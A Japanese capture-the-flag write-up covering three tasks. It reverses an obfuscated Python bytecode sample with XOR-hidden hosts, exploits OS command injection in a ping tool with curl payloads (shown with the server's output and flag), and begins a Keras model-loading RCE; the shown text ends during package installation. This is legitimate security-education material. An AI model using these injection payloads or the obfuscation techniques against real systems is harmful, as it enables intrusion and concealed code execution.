/,0&NINIT\xe9\x00\x10\x00\x00\xf3\x04\x00\x00\x00\x89PNG\xa9A\xa9\x02\xe9\x8b\x00\x00\x00\xe9\xfe\x02\x00\x00\xa9\x02\xe9\x88\x00\x00\x00\xe9\xf7\x02\x00\x00\xa9\x02\xe9\xb1\x00\x00\x00\xe9\xb8\x01\x00\x00\xa9\x02\xe9_\x00\x00\x00\xe9*\x03\x00\x00\xa9\x02\xe9\x9a\x00\x00\x00\xe9\xdf\x01\x00\x00\xa9\x02r*\x00\x00\x00\xe9\xf6\x02\x00\x00\xa9\x02\xe9\xb3\x00\x00\x00\xe9\xb7\x01\x00\x00\xa9\x02r0\x00\x00\x00\xe9(\x03\x00\x00\xa9\x02\xe9\x9e\x00\x00\x00\xe9\xc8\x01\x00\x00r5\x00\x00\x00\xa9\x02\xe9\xbf\x00\x00\x00\xe9\'\x02\x00\x00\xa9\x02\xe9c\x00\x00\x00\xe9\x1c\x03\x00\x00\xa9\x02\xe9\x9f\x00\x00\x00\xe9\n\x02\x00\x00r5\x00\x00\x00\xa9\x02\xe9\x98\x00\x00\x00\xe9\xe5\x01\x00\x00\xa9\x02\xe9\x9b\x00\x00\x00\xe9\xca\x01\x00\x00rB\x00\x00\x00\xa9\x02r0\x00\x00\x00\xe9)\x03\x00\x00r5\x00\x00\x00r:\x00\x00\x00rE\x00\x00\x00r5\x00\x00\x00r7\x00\x00\x00r:\x00\x00\x00r<\x00\x00\x00r?\x00\x00\x00r5\x00\x00\x00rK\x00\x00\x00r:\x00\x00\x00\xa9\x02rF\x00\x00\x00\xe9\x00\x02\x00\x00rN\x00\x00\x00r5\x00\x00\x00r7\x00\x00\x00r:\x00\x00\x00r<\x00\x00\x00r5\x00\x00\x00rP\x00\x00\x00rK\x00\x00\x00r:\x00\x00\x00r<\x00\x00\x00\xa9\x02\xe9\xbe\x00\x00\x00\xe9\xf0\x01\x00\x00\xa9\x02\xe9\x99\x00\x00\x00r4\x00\x00\x00r5\x00\x00\x00\xa9\x02\xe9\xc3\x00\x00\x00r\x16\x00\x00\x00rB\x00\x00\x00\xa9\x02\xe9\x9c\x00\x00\x00r>\x00\x00\x00\xa9\x02\xe9^\x00\x00\x00r1\x00\x00\x00r5\x00\x00\x00\xa9\x02rV\x00\x00\x00\xe9\xd6\x01\x00\x00r[\x00\x00\x00rH\x00\x00\x00rH\x00\x00\x00\xa9\x02\xe9\xa1\x00\x00\x00\xe9\xc2\x01\x00\x00r?\x00\x00\x00r5\x00\x00\x00rU\x00\x00\x00r[\x00\x00\x00\xa9\x02r3\x00\x00\x00\xe9\xcf\x01\x00\x00\xa9\x02r3\x00\x00\x00\xe9\xd0\x01\x00\x00rP\x00\x00\x00r/\x00\x00\x00\xa9\x02r=\x00\x00\x00\xe9\t\x02\x00\x00rE\x00\x00\x00\xa9\x02\xe9a\x00\x00\x00\xe9\x12\x03\x00\x00\xa9\x02\xe9\xe9\x00\x00\x00\xe9\x15\x02\x00\x00c\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00\x00s\x00\x00\x00r\x05\x00\x00\x00)\x02\xe9\x1f\x00\x00\x00Nr\x07\x00\x00\x00r\t\x00\x00\x00r\x0c\x00\x00\x00r\x0c\x00\x00\x00r\r\x00\x00\x00r\x0e\x00\x00\x00\x15\x00\x00\x00r\x0f\x00\x00\x00\xf3\x07\x00\x00\x00rmzph%?c\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00\x00s\x00\x00\x00r\x05\x00\x00\x00)\x02\xe9\x11\x00\x00\x00Nr\x07\x00\x00\x00r\t\x00\x00\x00r\x0c\x00\x00\x00r\x0c\x00\x00\x00r\r\x00\x00\x00r\x0e\x00\x00\x00\x17\x00\x00\x00r\x0f\x00\x00\x00\xf3\x04\x00\x00\x00yxbbc\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00\x00s\x00\x00\x00r\x05\x00\x00\x00)\x02rp\x00\x00\x00Nr\x07\x00\x00\x00r\t\x00\x00\x00r\x0c\x00\x00\x00r\x0c\x00\x00\x00r\r\x00\x00\x00r\x0e\x00\x00\x00\x1c\x00\x00\x00r\x0f\x00\x00\x00\xa9\x19\xda\x06socket\xda\x03ssl\xda\x03PILr\x03\x00\x00\x00\xda\x02io\xda\x16create_default_context\xda\x0bwrap_socket\xda\x07AF_INET\xda\x0bSOCK_STREAMr \x00\x00\x00\xda\x07connect\xda\x07sendall\xda\x04recv\xda\x05close\xda\x05index\xda\x04open\xda\x07BytesIO\xda\x05input\xda\x03len\xda\x05print\xda\x04exit\xda\tenumerate\xda\x08getpixel\xda\x03ord\xda\x04show\xa9\x0frs\x00\x00\x00rt\x00\x00\x00r\x03\x00\x00\x00rv\x00\x00\x00\xda\x01_\xda\x03___\xda\x02__\xda\x04____\xda\x05_____\xda\x06______\xda\n__________\xda\x0b___________\xda\x07_______\xda\x08________\xda\t_________r\x0c\x00\x00\x00r\x0c\x00\x00\x00r\r\x00\x00\x00r\x0e\x00\x00\x00\x03\x00\x00\x00\xf3:\x00\x00\x00\x08\x01\x08\x01\x0c\x01\x08\x01.\x01\x1e\x01\x1a\x01\x04\x01\x02\x01\n\x01\x04\x01\x02\x01\x08\x01\x02\xfc\x08\x05\x12\x01\x10\x01\x08\x01\x18\x01\x10\x01\x18\x01\x06\x01\x10\x01\x14\x01\x14\x01\x18\x01\x06\x01\x02\x80\x0c\x01')

dis.dis(code)

この結果、以下のようになった。

  4           0 LOAD_CONST               1 (0)
              2 LOAD_CONST               0 (None)
              4 IMPORT_NAME              0 (socket)
              6 STORE_FAST               0 (socket)

  5           8 LOAD_CONST               1 (0)
             10 LOAD_CONST               0 (None)
             12 IMPORT_NAME              1 (ssl)
             14 STORE_FAST               1 (ssl)

  6          16 LOAD_CONST               1 (0)
             18 LOAD_CONST               2 (('Image',))
             20 IMPORT_NAME              2 (PIL)
             22 IMPORT_FROM              3 (Image)
             24 STORE_FAST               2 (Image)
             26 POP_TOP

  7          28 LOAD_CONST               1 (0)
             30 LOAD_CONST               0 (None)
             32 IMPORT_NAME              4 (io)
             34 STORE_FAST               3 (io)

  8          36 LOAD_FAST                1 (ssl)
             38 LOAD_METHOD              5 (create_default_context)
             40 CALL_METHOD              0
             42 LOAD_ATTR                6 (wrap_socket)
             44 LOAD_FAST                0 (socket)
             46 LOAD_METHOD              0 (socket)
             48 LOAD_FAST                0 (socket)
             50 LOAD_ATTR                7 (AF_INET)
             52 LOAD_FAST                0 (socket)
             54 LOAD_ATTR                8 (SOCK_STREAM)
             56 CALL_METHOD              2
             58 LOAD_CONST               3 ('')
             60 LOAD_METHOD              9 (join)
             62 LOAD_CONST               4 (<code object f at 0x000001F216C82C30, file "<module>", line 8>)
             64 LOAD_CONST               5 ('meow.<locals>.<genexpr>')
             66 MAKE_FUNCTION            0
             68 LOAD_CONST               6 (b'GOE]\x04YSF\\CO\x04LSC')
             70 GET_ITER
             72 CALL_FUNCTION            1
             74 CALL_METHOD              1
             76 LOAD_CONST               7 (('server_hostname',))
             78 CALL_FUNCTION_KW         2
             80 STORE_FAST               4 (_)

  9          82 LOAD_FAST                4 (_)
             84 LOAD_METHOD             10 (connect)
             86 LOAD_CONST               3 ('')
             88 LOAD_METHOD              9 (join)
             90 LOAD_CONST               8 (<code object f at 0x000001F216C81C60, file "<module>", line 9>)
             92 LOAD_CONST               5 ('meow.<locals>.<genexpr>')
             94 MAKE_FUNCTION            0
             96 LOAD_CONST               9 (b'`hbz#~ta{dh#ktd')
             98 GET_ITER
            100 CALL_FUNCTION            1
            102 CALL_METHOD              1
            104 LOAD_CONST              10 (443)
            106 BUILD_TUPLE              2
            108 CALL_METHOD              1
            110 POP_TOP

 10         112 LOAD_FAST                4 (_)
            114 LOAD_METHOD             11 (sendall)
            116 LOAD_CONST              11 (b'')
            118 LOAD_METHOD              9 (join)
            120 LOAD_CONST              12 (<code object f at 0x000001F216C82FA0, file "<module>", line 10>)
            122 LOAD_CONST               5 ('meow.<locals>.<genexpr>')
            124 MAKE_FUNCTION            0
            126 LOAD_CONST              13 (b'\x04\x06\x17cl07"7* l1*70& \x1c "7$*1/m3-$c\x0b\x17\x17\x13lrmrNI\x0b,07yc.&,4m0:/5*&m%:*NI\x00,--& 7*,-yc /,0&NINI')
            128 GET_ITER
            130 CALL_FUNCTION            1
            132 CALL_METHOD              1
            134 CALL_METHOD              1
            136 POP_TOP

 11         138 LOAD_CONST              11 (b'')
            140 STORE_FAST               5 (___)

 12         142 NOP

 13     >>  144 LOAD_FAST                4 (_)
            146 LOAD_METHOD             12 (recv)
            148 LOAD_CONST              15 (4096)
            150 CALL_METHOD              1
            152 STORE_FAST               6 (__)

 14         154 LOAD_FAST                6 (__)
            156 POP_JUMP_IF_TRUE        80 (to 160)

 15         158 JUMP_FORWARD             5 (to 170)

 16     >>  160 LOAD_FAST                5 (___)
            162 LOAD_FAST                6 (__)
            164 INPLACE_ADD
            166 STORE_FAST               5 (___)

 12         168 JUMP_ABSOLUTE           72 (to 144)

 17     >>  170 LOAD_FAST                4 (_)
            172 LOAD_METHOD             13 (close)
            174 CALL_METHOD              0
            176 POP_TOP

 18         178 LOAD_FAST                5 (___)
            180 LOAD_FAST                5 (___)
            182 LOAD_METHOD             14 (index)
            184 LOAD_CONST              16 (b'\x89PNG')
            186 CALL_METHOD              1
            188 LOAD_CONST               0 (None)
            190 BUILD_SLICE              2
            192 BINARY_SUBSCR
            194 STORE_FAST               5 (___)

 19         196 LOAD_FAST                2 (Image)
            198 LOAD_METHOD             15 (open)
            200 LOAD_FAST                3 (io)
            202 LOAD_METHOD             16 (BytesIO)
            204 LOAD_FAST                5 (___)
            206 CALL_METHOD              1
            208 CALL_METHOD              1
            210 STORE_FAST               7 (____)

 20         212 BUILD_LIST               0
            214 LOAD_CONST              17 (((139, 766), (136, 759), (177, 440), (95, 810), (154, 479), (136, 758), (179, 439), (95, 808), (158, 456), (136, 758), (191, 551), (99, 796), (159, 522), (136, 758), (152, 485), (155, 458), (99, 796), (95, 809), (136, 758), (95, 808), (159, 522), (136, 758), (179, 439), (95, 808), (158, 456), (191, 551), (136, 758), (155, 458), (95, 808), (159, 512), (95, 809), (136, 758), (179, 439), (95, 808), (158, 456), (136, 758), (159, 512), (155, 458), (95, 808), (158, 456), (190, 496), (153, 479), (136, 758), (195, 443), (99, 796), (156, 456), (94, 810), (136, 758), (153, 470), (94, 810), (152, 485), (152, 485), (161, 450), (191, 551), (136, 758), (153, 479), (94, 810), (154, 463), (154, 464), (159, 512), (95, 810), (158, 521), (159, 522), (97, 786), (233, 533)))
            216 LIST_EXTEND              1
            218 STORE_FAST               8 (_____)

 21         220 LOAD_GLOBAL             17 (input)
            222 LOAD_CONST               3 ('')
            224 LOAD_METHOD              9 (join)
            226 LOAD_CONST              18 (<code object f at 0x000001F216C83050, file "<module>", line 21>)
            228 LOAD_CONST               5 ('meow.<locals>.<genexpr>')
            230 MAKE_FUNCTION            0
            232 LOAD_CONST              19 (b'rmzph%?')
            234 GET_ITER
            236 CALL_FUNCTION            1
            238 CALL_METHOD              1
            240 CALL_FUNCTION            1
            242 STORE_FAST               9 (______)

 22         244 LOAD_GLOBAL             18 (len)
            246 LOAD_FAST                9 (______)
            248 CALL_FUNCTION            1
            250 LOAD_GLOBAL             18 (len)
            252 LOAD_FAST                8 (_____)
            254 CALL_FUNCTION            1
            256 COMPARE_OP               3 (!=)
            258 POP_JUMP_IF_FALSE      145 (to 290)

 23         260 LOAD_GLOBAL             19 (print)
            262 LOAD_CONST               3 ('')
            264 LOAD_METHOD              9 (join)
            266 LOAD_CONST              20 (<code object f at 0x000001F216C83100, file "<module>", line 23>)
            268 LOAD_CONST               5 ('meow.<locals>.<genexpr>')
            270 MAKE_FUNCTION            0
            272 LOAD_CONST              21 (b'yxbb')
            274 GET_ITER
            276 CALL_FUNCTION            1
            278 CALL_METHOD              1
            280 CALL_FUNCTION            1
            282 POP_TOP

 24         284 LOAD_GLOBAL             20 (exit)
            286 CALL_FUNCTION            0
            288 POP_TOP

 25     >>  290 LOAD_GLOBAL             21 (enumerate)
            292 LOAD_FAST                9 (______)
            294 CALL_FUNCTION            1
            296 GET_ITER
        >>  298 FOR_ITER                39 (to 378)
            300 UNPACK_SEQUENCE          2
            302 STORE_FAST              10 (__________)
            304 STORE_FAST              11 (___________)

 26         306 LOAD_FAST                7 (____)
            308 LOAD_METHOD             22 (getpixel)
            310 LOAD_FAST                8 (_____)
            312 LOAD_FAST               10 (__________)
            314 BINARY_SUBSCR
            316 CALL_METHOD              1
            318 UNPACK_SEQUENCE          3
            320 STORE_FAST              12 (_______)
            322 STORE_FAST              13 (________)
            324 STORE_FAST              14 (_________)

 27         326 LOAD_FAST               12 (_______)
            328 LOAD_FAST               13 (________)
            330 BINARY_XOR
            332 LOAD_FAST               14 (_________)
            334 BINARY_XOR
            336 LOAD_GLOBAL             23 (ord)
            338 LOAD_FAST               11 (___________)
            340 CALL_FUNCTION            1
            342 COMPARE_OP               3 (!=)
            344 POP_JUMP_IF_FALSE      188 (to 376)

 28         346 LOAD_GLOBAL             19 (print)
            348 LOAD_CONST               3 ('')
            350 LOAD_METHOD              9 (join)
            352 LOAD_CONST              22 (<code object f at 0x000001F216C83310, file "<module>", line 28>)
            354 LOAD_CONST               5 ('meow.<locals>.<genexpr>')
            356 MAKE_FUNCTION            0
            358 LOAD_CONST              21 (b'yxbb')
            360 GET_ITER
            362 CALL_FUNCTION            1
            364 CALL_METHOD              1
            366 CALL_FUNCTION            1
            368 POP_TOP

 29         370 LOAD_GLOBAL             20 (exit)
            372 CALL_FUNCTION            0
            374 POP_TOP
        >>  376 JUMP_ABSOLUTE          149 (to 298)

 30     >>  378 LOAD_FAST                7 (____)
            380 LOAD_METHOD             24 (show)
            382 CALL_METHOD              0
            384 POP_TOP
            386 LOAD_CONST               0 (None)
            388 RETURN_VALUE

Disassembly of <code object f at 0x000001F216C82C30, file "<module>", line 8>:
              0 GEN_START                0

  8           2 LOAD_FAST                0 (.0)
        >>    4 FOR_ITER                 9 (to 24)
              6 STORE_FAST               1 (i)
              8 LOAD_GLOBAL              0 (chr)
             10 LOAD_FAST                1 (i)
             12 LOAD_CONST               0 (42)
             14 BINARY_XOR
             16 CALL_FUNCTION            1
             18 YIELD_VALUE
             20 POP_TOP
             22 JUMP_ABSOLUTE            2 (to 4)
        >>   24 LOAD_CONST               1 (None)
             26 RETURN_VALUE

Disassembly of <code object f at 0x000001F216C81C60, file "<module>", line 9>:
              0 GEN_START                0

  9           2 LOAD_FAST                0 (.0)
        >>    4 FOR_ITER                 9 (to 24)
              6 STORE_FAST               1 (i)
              8 LOAD_GLOBAL              0 (chr)
             10 LOAD_FAST                1 (i)
             12 LOAD_CONST               0 (13)
             14 BINARY_XOR
             16 CALL_FUNCTION            1
             18 YIELD_VALUE
             20 POP_TOP
             22 JUMP_ABSOLUTE            2 (to 4)
        >>   24 LOAD_CONST               1 (None)
             26 RETURN_VALUE

Disassembly of <code object f at 0x000001F216C82FA0, file "<module>", line 10>:
              0 GEN_START                0

 10           2 LOAD_FAST                0 (.0)
        >>    4 FOR_ITER                19 (to 44)
              6 STORE_FAST               1 (i)
              8 LOAD_FAST                1 (i)
             10 LOAD_CONST               0 (67)
             12 BINARY_XOR
             14 LOAD_METHOD              0 (to_bytes)
             16 LOAD_CONST               1 (1)
             18 LOAD_CONST               2 ('')
             20 LOAD_METHOD              1 (join)
             22 LOAD_CONST               3 (<code object f at 0x000001F216C82AD0, file "<module>", line 10>)
             24 LOAD_CONST               4 ('meow.<locals>.<genexpr>.<genexpr>')
             26 MAKE_FUNCTION            0
             28 LOAD_CONST               5 (b'\',"')
             30 GET_ITER
             32 CALL_FUNCTION            1
             34 CALL_METHOD              1
             36 CALL_METHOD              2
             38 YIELD_VALUE
             40 POP_TOP
             42 JUMP_ABSOLUTE            2 (to 4)
        >>   44 LOAD_CONST               6 (None)
             46 RETURN_VALUE

Disassembly of <code object f at 0x000001F216C82AD0, file "<module>", line 10>:
              0 GEN_START                0

 10           2 LOAD_FAST                0 (.0)
        >>    4 FOR_ITER                 9 (to 24)
              6 STORE_FAST               1 (i)
              8 LOAD_GLOBAL              0 (chr)
             10 LOAD_FAST                1 (i)
             12 LOAD_CONST               0 (69)
             14 BINARY_XOR
             16 CALL_FUNCTION            1
             18 YIELD_VALUE
             20 POP_TOP
             22 JUMP_ABSOLUTE            2 (to 4)
        >>   24 LOAD_CONST               1 (None)
             26 RETURN_VALUE

Disassembly of <code object f at 0x000001F216C83050, file "<module>", line 21>:
              0 GEN_START                0

 21           2 LOAD_FAST                0 (.0)
        >>    4 FOR_ITER                 9 (to 24)
              6 STORE_FAST               1 (i)
              8 LOAD_GLOBAL              0 (chr)
             10 LOAD_FAST                1 (i)
             12 LOAD_CONST               0 (31)
             14 BINARY_XOR
             16 CALL_FUNCTION            1
             18 YIELD_VALUE
             20 POP_TOP
             22 JUMP_ABSOLUTE            2 (to 4)
        >>   24 LOAD_CONST               1 (None)
             26 RETURN_VALUE

Disassembly of <code object f at 0x000001F216C83100, file "<module>", line 23>:
              0 GEN_START                0

 23           2 LOAD_FAST                0 (.0)
        >>    4 FOR_ITER                 9 (to 24)
              6 STORE_FAST               1 (i)
              8 LOAD_GLOBAL              0 (chr)
             10 LOAD_FAST                1 (i)
             12 LOAD_CONST               0 (17)
             14 BINARY_XOR
             16 CALL_FUNCTION            1
             18 YIELD_VALUE
             20 POP_TOP
             22 JUMP_ABSOLUTE            2 (to 4)
        >>   24 LOAD_CONST               1 (None)
             26 RETURN_VALUE

Disassembly of <code object f at 0x000001F216C83310, file "<module>", line 28>:
              0 GEN_START                0

 28           2 LOAD_FAST                0 (.0)
        >>    4 FOR_ITER                 9 (to 24)
              6 STORE_FAST               1 (i)
              8 LOAD_GLOBAL              0 (chr)
             10 LOAD_FAST                1 (i)
             12 LOAD_CONST               0 (17)
             14 BINARY_XOR
             16 CALL_FUNCTION            1
             18 YIELD_VALUE
             20 POP_TOP
             22 JUMP_ABSOLUTE            2 (to 4)
        >>   24 LOAD_CONST               1 (None)
             26 RETURN_VALU

このアセンブリに対して、ChatGPTにPythonコードに復元してもらった。

import socket
import ssl
from PIL import Image
import io

# --- デコード関数群 ---
def dec1(data):  # ^42
    return ''.join(chr(i ^ 42) for i in data)

def dec2(data):  # ^13
    return ''.join(chr(i ^ 13) for i in data)

def dec3(data):  # ^67 → bytes
    return b''.join((i ^ 67).to_bytes(1, ''.join(chr(j ^ 69) for j in b'\',"')) for i in data)

def dec4(data):  # ^31
    return ''.join(chr(i ^ 31) for i in data)

def dec5(data):  # ^17
    return ''.join(chr(i ^ 17) for i in data)


# --- 接続 ---
context = ssl.create_default_context()
sock = context.wrap_socket(
    socket.socket(socket.AF_INET, socket.SOCK_STREAM),
    server_hostname=dec1(b'GOE]\x04YSF\\CO\x04LSC')
)

sock.connect((dec2(b'`hbz#~ta{dh#ktd'), 443))

# --- リクエスト送信 ---
sock.sendall(dec3(
    b'\x04\x06\x17cl07"7* l1*70& \x1c "7$*1/m3-$c\x0b\x17\x17\x13lrmrNI\x0b,07yc.&,4m0:/5*&m%:*NI\x00,--& 7*,-yc /,0&NINI'
))

# --- 受信 ---
data = b''
while True:
    chunk = sock.recv(4096)
    if not chunk:
        break
    data += chunk

sock.close()

# PNG開始位置から切り出し
data = data[data.index(b'\x89PNG'):]

# --- 画像読み込み ---
img = Image.open(io.BytesIO(data))

# --- 座標 ---
coords = [
    (139, 766), (136, 759), (177, 440), (95, 810), (154, 479),
    (136, 758), (179, 439), (95, 808), (158, 456), (136, 758),
    (191, 551), (99, 796), (159, 522), (136, 758), (152, 485),
    (155, 458), (99, 796), (95, 809), (136, 758), (95, 808),
    (159, 522), (136, 758), (179, 439), (95, 808), (158, 456),
    (191, 551), (136, 758), (155, 458), (95, 808), (159, 512),
    (95, 809), (136, 758), (179, 439), (95, 808), (158, 456),
    (136, 758), (159, 512), (155, 458), (95, 808), (158, 456),
    (190, 496), (153, 479), (136, 758), (195, 443), (99, 796),
    (156, 456), (94, 810), (136, 758), (153, 470), (94, 810),
    (152, 485), (152, 485), (161, 450), (191, 551), (136, 758),
    (153, 479), (94, 810), (154, 463), (154, 464), (159, 512),
    (95, 810), (158, 521), (159, 522), (97, 786), (233, 533)
]

# --- 入力 ---
user_input = input(dec4(b'rmzph%?'))

# 長さチェック
if len(user_input) != len(coords):
    print(dec5(b'yxbb'))
    exit()

# --- 検証 ---
for i, ch in enumerate(user_input):
    r, g, b = img.getpixel(coords[i])
    if (r ^ g ^ b) != ord(ch):
        print(dec5(b'yxbb'))
        exit()

# 成功時
img.show()

この座標のRGBがフラグになると考えられる。

#!/usr/bin/env python3
import socket
import ssl
from PIL import Image
import io

def dec1(data):
    return ''.join(chr(i ^ 42) for i in data)

def dec2(data):
    return ''.join(chr(i ^ 13) for i in data)

def dec3(data):
    return b''.join((i ^ 67).to_bytes(1, ''.join(chr(j ^ 69) for j in b'\',"')) for i in data)

def dec4(data):
    return ''.join(chr(i ^ 31) for i in data)

def dec5(data):
    return ''.join(chr(i ^ 17) for i in data)

context = ssl.create_default_context()
sock = context.wrap_socket(
    socket.socket(socket.AF_INET, socket.SOCK_STREAM),
    server_hostname=dec1(b'GOE]\x04YSF\\CO\x04LSC')
)

sock.connect((dec2(b'`hbz#~ta{dh#ktd'), 443))

sock.sendall(dec3(
    b'\x04\x06\x17cl07"7* l1*70& \x1c "7$*1/m3-$c\x0b\x17\x17\x13lrmrNI\x0b,07yc.&,4m0:/5*&m%:*NI\x00,--& 7*,-yc /,0&NINI'
))

data = b''
while True:
    chunk = sock.recv(4096)
    if not chunk:
        break
    data += chunk

sock.close()

data = data[data.index(b'\x89PNG'):]

img = Image.open(io.BytesIO(data))

coords = [
    (139, 766), (136, 759), (177, 440), (95, 810), (154, 479),
    (136, 758), (179, 439), (95, 808), (158, 456), (136, 758),
    (191, 551), (99, 796), (159, 522), (136, 758), (152, 485),
    (155, 458), (99, 796), (95, 809), (136, 758), (95, 808),
    (159, 522), (136, 758), (179, 439), (95, 808), (158, 456),
    (191, 551), (136, 758), (155, 458), (95, 808), (159, 512),
    (95, 809), (136, 758), (179, 439), (95, 808), (158, 456),
    (136, 758), (159, 512), (155, 458), (95, 808), (158, 456),
    (190, 496), (153, 479), (136, 758), (195, 443), (99, 796),
    (156, 456), (94, 810), (136, 758), (153, 470), (94, 810),
    (152, 485), (152, 485), (161, 450), (191, 551), (136, 758),
    (153, 479), (94, 810), (154, 463), (154, 464), (159, 512),
    (95, 810), (158, 521), (159, 522), (97, 786), (233, 533)
]

flag = ''
for coord in coords:
    r, g, b = img.getpixel(coord)
    flag += chr(r ^ g ^ b)

print(flag)
RS{1f_y0u_r4n_th47_0n_y0ur_h0s7_y0u_sh0uld_m4k3_b3tter_d3cis1on5}

Monitor Breaker (Web)

ポータル画面には3つのメニューがある。

「Network Health」をクリックすると、「This section is under maintenance」というメッセージのポップアップが表示される。
「Performance Monitor」をクリックすると、以下のURLに遷移する。
https://monitor-breaker-e42ca357-b260-43cb-badf-21e71aa71875.ctf.ritsec.club/_sys/c4ca4238a0b923820dcc509a6f75849b
「System Logs」をクリックすると、以下のURLに遷移する。
https://monitor-breaker-e42ca357-b260-43cb-badf-21e71aa71875.ctf.ritsec.club/_sys/c81e728d9d4c2f636f067f89cc14862c

この_sysの下のパスをCrackStationでクラックしてみる。

c4ca4238a0b923820dcc509a6f75849b	md5	1
c81e728d9d4c2f636f067f89cc14862c	md5	2

"1", "2"が該当した。「Network Health」は"0"で存在はしているかもしれない。

$ echo -n 0 | md5sum                                 
cfcd208495d565ef66e7dff9f98764da  -

https://monitor-breaker-e42ca357-b260-43cb-badf-21e71aa71875.ctf.ritsec.club/_sys/cfcd208495d565ef66e7dff9f98764daにアクセスしてみる。
Network Ping Toolという画面で入力したIPアドレスにpingができるようだ。ただ入力欄ではアルファベットは使用できない。
直接curlでOSコマンドインジェクションのデータを送信してみる。

$ curl https://monitor-breaker-e42ca357-b260-43cb-badf-21e71aa71875.ctf.ritsec.club/_sys/cfcd208495d565ef66e7dff9f98764da -d "target=8.8.8.8; ls&command_type=ping"
{"output":"app.py\nflag-9d444ad0f475b52e79a1713f25646dce.txt\nrequirements.txt\ntemplates\n\n/bin/sh: 1: ping: not found\n"}

以下のファイルがあることがわかる。

flag-9d444ad0f475b52e79a1713f25646dce.txt

このファイルの内容を見てみる。

$ curl https://monitor-breaker-e42ca357-b260-43cb-badf-21e71aa71875.ctf.ritsec.club/_sys/cfcd208495d565ef66e7dff9f98764da -d "target=8.8.8.8; cat flag-9d444ad0f475b52e79a1713f25646dce.txt&command_type=ping"
{"output":"RS{1_br0k3_17_e6ebced80740d006889f26ceeeee666b}\n\n/bin/sh: 1: ping: not found\n"}
RS{1_br0k3_17_e6ebced80740d006889f26ceeeee666b}

Regular Dude (Web)

Dockerfileを見ると、フラグが環境変数に設定されていることがわかる。
またmain.pyを見ると、/upload-modelや/modelへのアクセスで、HTTPヘッダのUsernameが"admin"であれば、adminの認証はパスできることがわかる。
次に以下のコードに注目する。

model = keras.models.load_model(model_path, safe_mode=False)

モデル読み込みのRCEができると推測できる。Kerasモデル(.h5)に細工し、RCEを試す。
このためにアップロードするh5ファイルを生成するための環境を作成することから始める。

$ docker run -it --rm python:3.10 bash
Unable to find image 'python:3.10' locally
3.10: Pulling from library/python
8f6ad858d0a4: Pull complete 
b012eb15dff0: Pull complete 
ee3a0e7d77f0: Pull complete 
8688d0f2f567: Pull complete 
de021639174a: Pull complete 
33ea0080b6c3: Pull complete 
0ff77f49313e: Pull complete 
Digest: sha256:a5ef46a93e429aa07466f536c25962f3c157c0db77f5b9691d1a04a832cd62f4
Status: Downloaded newer image for python:3.10
root@f02565a61644:/# pip install tensorflow-cpu
Collecting tensorflow-cpu
  Downloading tensorflow_cpu-2.21.0-cp310-cp310-manylinux_2_27_x86_64.whl (273.6 MB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 273.6/273.6 MB ? eta 0:00:00
Collecting packaging
  Downloading packaging-26.0-py3-none-any.whl (74 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 74.4/74.4 kB 39.5 MB/s eta 0:00:00
Collecting astunparse>=1.6.0
  Downloading astunparse-1.6.3-py2.py3-none-any.whl (12 kB)
Collecting flatbuffers>=25.9.23
  Downloading flatbuffers-25.12.19-py2.py3-none-any.whl (26 kB)
Collecting keras>=3.12.0
  Downloading keras-3.12.1-py3-none-any.whl (1.5 MB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 1.5/1.5 MB 22.2 MB/s eta 0:00:00
Collecting grpcio<2.0,>=1.24.3
  Downloading grpcio-1.80.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl (6.8 MB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 6.8/6.8 MB 22.7 MB/s eta 0:00:00
Collecting six>=1.12.0
  Downloading six-1.17.0-py2.py3-none-any.whl (11 kB)
Collecting h5py<3.15.0,>=3.11.0
  Downloading h5py-3.14.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (4.6 MB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 4.6/4.6 MB 20.2 MB/s eta 0:00:00
Collecting numpy>=1.26.0
  Downloading numpy-2.2.6-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (16.8 MB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 16.8/16.8 MB 9.5 MB/s eta 0:00:00
Collecting absl-py>=1.0.0
  Downloading absl_py-2.4.0-py3-none-any.whl (135 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 135.8/135.8 kB 62.6 MB/s eta 0:00:00
Collecting typing_extensions>=3.6.6
  Downloading typing_extensions-4.15.0-py3-none-any.whl (44 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 44.6/44.6 kB 23.6 MB/s eta 0:00:00
Collecting requests<3,>=2.21.0
  Downloading requests-2.33.1-py3-none-any.whl (64 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 64.9/64.9 kB 32.9 MB/s eta 0:00:00
Collecting opt_einsum>=2.3.2
  Downloading opt_einsum-3.4.0-py3-none-any.whl (71 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 71.9/71.9 kB 39.2 MB/s eta 0:00:00
Collecting libclang>=13.0.0
  Downloading libclang-18.1.1-py2.py3-none-manylinux2010_x86_64.whl (24.5 MB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 24.5/24.5 MB 19.9 MB/s eta 0:00:00
Collecting protobuf<8.0.0,>=6.31.1
  Downloading protobuf-7.34.1-cp310-abi3-manylinux2014_x86_64.whl (324 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 324.3/324.3 kB 24.6 MB/s eta 0:00:00
Collecting google_pasta>=0.1.1
  Downloading google_pasta-0.2.0-py3-none-any.whl (57 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 57.5/57.5 kB 23.4 MB/s eta 0:00:00
Collecting ml_dtypes<1.0.0,>=0.5.1
